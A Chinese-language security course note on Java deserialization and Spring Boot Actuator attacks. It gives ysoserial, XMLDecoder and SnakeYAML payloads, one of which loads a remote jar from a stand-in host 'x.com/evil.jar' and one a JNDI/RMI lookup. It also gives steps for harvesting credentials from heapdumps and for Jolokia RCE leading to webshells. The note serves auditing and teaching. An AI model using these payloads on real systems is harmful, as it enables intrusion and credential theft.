68:Java 原生反序列化 & SpringBoot 攻防

一、Java 原生反序列化

1. 基本原理

  • 序列化:对象 → 字节流

  • 反序列化:字节流 → 对象

  • 特征

    • 16进制:ac ed 00 05
    • Base64 开头:rO0AB
  • 漏洞本质:可控数据进入反序列化入口,触发恶意 readObject​ 实现 RCE。

2. 常见反序列化入口(白盒审计关键词)

  1. ObjectInputStream.readObject()
  2. XMLDecoder.readObject()
  3. SnakeYAML.load()
  4. JSON 类:Fastjson、Jackson(上节课内容)

3. 利用工具

  • ysoserial:最经典,生成反序列化 Payload

  • SerializedPayloadGenerator

  • Yakit 插件:图形化一键生成

  • 生成命令示例:

    复制代码
    java -jar ysoserial-all.jar CommonsCollections5 "cmd /c calc" | base64 -w0

4. 三类反序列化漏洞演示

(1)readObject 原生反序列化

漏洞代码:

复制代码
ObjectInputStream in = new ObjectInputStream(stream);
in.readObject();
  • 依赖第三方库利用链,如 CommonsCollections
  • 必须根据目标依赖选择对应利用链
(2)XMLDecoder 反序列化 RCE

漏洞代码:

复制代码
XMLDecoder decoder = new XMLDecoder(is);
decoder.readObject();

Payload:

复制代码
<java>
  <object class="java.lang.ProcessBuilder">
    <array length="1">
      <void index="0"><string>calc</string></void>
    </array>
    <void method="start"/>
  </object>
</java>

直接执行系统命令。

(3)SnakeYAML 反序列化 RCE

Yaml 可指定类与构造方法,高危。

Payload 1(远程加载 jar):

复制代码
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://x.com/evil.jar"]
  ]]
]

Payload 2(结合 JNDI):

复制代码
!!com.sun.rowset.JdbcRowSetImpl {
  dataSourceName: 'rmi://x.x.x.x/exp',
  autoCommit: true
}

受 JDK 版本、环境限制。


二、SpringBoot 框架攻防

1. 核心风险点:Actuator 未授权访问

Actuator 是 SpringBoot 监控组件,配置不当会泄露大量敏感接口:

  • /actuator
  • /env / /configprops:泄露配置、密钥、数据库账号
  • /heapdump:内存镜像,可提取密码、AK/SK
  • /jolokia:可配合 JNDI 实现 RCE

2. SpringBoot 识别方法

  • 白盒:看 pom.xml​ 是否引入 spring-boot-starter-actuator

  • 黑盒:

    • 白标签报错页
    • favicon.ico 小叶子图标
    • Wappalyzer、OWASP PentestKit 插件
    • 直接访问 /actuator

3. 黑盒利用工具清单

  • SpringBootVulExploit(LandGrey):利用合集
  • SpringBoot-Scan:批量扫描 Actuator 接口
  • APIKit(Burp 插件):被动发现 Actuator 泄露

4. heapdump 利用(实战高频)

  • 访问 /actuator/heapdump​ 下载内存文件

  • 工具解析:

    • JDumpSpider
    • heapdump_tool
  • 可搜索关键字:

    • password
    • accessKey
    • secret
    • jdbc
    • token

5. SpringBoot RCE 利用路线

  • Jolokia + Logback JNDI RCE

  • 流程:

    1. 启动本地 JNDI 服务
    2. 利用工具打 Jolokia 接口
    3. 成功后可接冰蝎/蚁剑

三、实战审计思路(本节重点)

  1. 看是否 SpringBoot → 扫 Actuator

  2. 看 heapdump/env → 拿账号密码、AK/SK

  3. 看依赖库(pom.xml)

    • commons-collections → 反序列化
    • log4j、fastjson → 组件漏洞
  4. 找反序列化入口函数:readObject​、XMLDecoder​、YAML#load​

  5. 不出网用 DNSlog,出网用 JNDI/RMI 拿 Shell


四、极简总结

  • Java 反序列化 = 可控字节流 + readObject 等入口 + 利用链 = RCE
  • SpringBoot 高危点 = Actuator 未授权访问 + heapdump 信息泄露 + Jolokia RCE
  • 工具:ysoserial、Yakit、SpringBootScan、heapdump_tool
相关推荐
tongyiixiaohuang13 分钟前
供应商主数据同步实战:从易快报到金蝶云星空的单一策略落地
java·网络·数据库
中科三方17 分钟前
IPv6检测常见问题:AAAA记录检测不通过是什么原因?
开发语言·php
鱼宵1 小时前
取集合第一个元素,Java 为什么要写三种写法?
java·windows·python·java21
学长毕设1 小时前
基于SpringBoot的餐厅管理系统-附源码
java·spring boot·后端
沫璃染墨1 小时前
从零入门计算机网络系列(十一):HTTP协议进阶——从重定向原理到GET/POST与Fiddler抓包
linux·服务器·开发语言·网络·c++·tcp/ip·html
刚入门的大一新生1 小时前
Linux-线程互斥
java·开发语言
香芋芋圆2 小时前
iD-editor 详解|OSM官方在线编辑器,基于D3.js的轻量地图编辑器
开发语言·javascript·编辑器
赵小哥要冲啦2 小时前
社区邻里互助小程序从 0 到 1 复盘:需求拆解与信任机制设计
java·小程序·需求分析
xiaogai_gai2 小时前
采购业务退款单同步实战:从钉钉审批流到金蝶云星空付款单
java·数据库·钉钉
二哈赛车手2 小时前
新人笔记---hermes定时功能设计,具体讲解以及可优化点
java·人工智能·笔记·spring·ai·typescript